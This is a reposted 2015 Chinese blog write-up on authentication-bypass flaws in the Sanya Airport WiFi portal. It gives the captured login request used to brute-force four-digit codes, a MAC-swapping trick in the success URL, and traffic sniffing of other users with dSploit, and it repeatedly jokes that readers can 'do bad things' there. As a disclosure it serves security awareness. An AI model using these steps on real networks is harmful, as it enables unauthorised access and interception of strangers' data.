记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

三亚机场WIFI系统多处认证绕过漏洞

2015-06-25 11:00

三亚出差,经过机场简单看了一下WIFI系统。三亚机场WIFI系统Web Portal认证系统存在逻辑错误,任意用户可绕过系统身份认证进行登陆,实现匿名上网,并可监听其他合法用户网络数据包。想干坏事去机场哈
可进行登陆密码穷举:连接机场WIFI网络。连接网络后我们打开浏览器,访问任意地址。此时请求会重定向到Web认证服务器。此时服务器要求提交用户手机号码,作为身份认证凭证访问网络。提交可用手机号后,发现验证密码是4位数字。简单检查系统,发现并未设置验证码,也未对登陆次数进行限制。截取登陆数据包:
GET /portal/ajaxlogin?user=86********{此处为冒充的手机号码}&password=${Gen_7}&language=1&_=1429299379639 HTTP/1.1
Host: 192.168.1.253
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Referer: http://192.168.1.253/portal
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=f6ncf0e1kf3ue6ephvh4qf8g70; from_url=http%3A%2F%2F192.168.1.253%2F
我们用WVS自带工具进行穷举攻击。

几分钟之内我们便可找到任意用户的验证码。结果如下:

使用该验证码可成功通过portal系统验证,接入互联网。摆脱big brother监控,实现匿名上网。各种坏事随意干哈。另外通过抓包一次正常的登陆过程,发现可以可以发现登陆成功后存在一个访问连接:http://192.168.1.253/portal/success?uid=86****{手机号码}&sip=10.10.0.250&mac=c4017c*******&client_mac=74e543********&ssid=%23Airport-Free-WiFi%20SanYa&vlan=&res=success&url=http%3a%2f%2fwp.mail.qq.com74e543********此处为注册上网的mac地址。修改此处mac地址注册其他设备上网,同样实现了匿名上网。想干坏事去机场哈。
另外简单用dspolit对网络进行了一下监听,公共wifi问题也是大大的。装有dspolit手机接入以上WIFI系统。可对网络数据包进行监听,窃取信息。具体证明如下:

打开我们监听的数据包:

有人在访问微信朋友圈哈。

解决方案:

1.对于登陆认证绕过和密码穷举问题。做好基本的逻辑,程序员你懂的。
2.数据包监听。还是别用WIFI了。
 

知识来源: www.2cto.com/Article/201506/410270.html

阅读:162926 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“三亚机场WIFI系统多处认证绕过漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

推广

标签云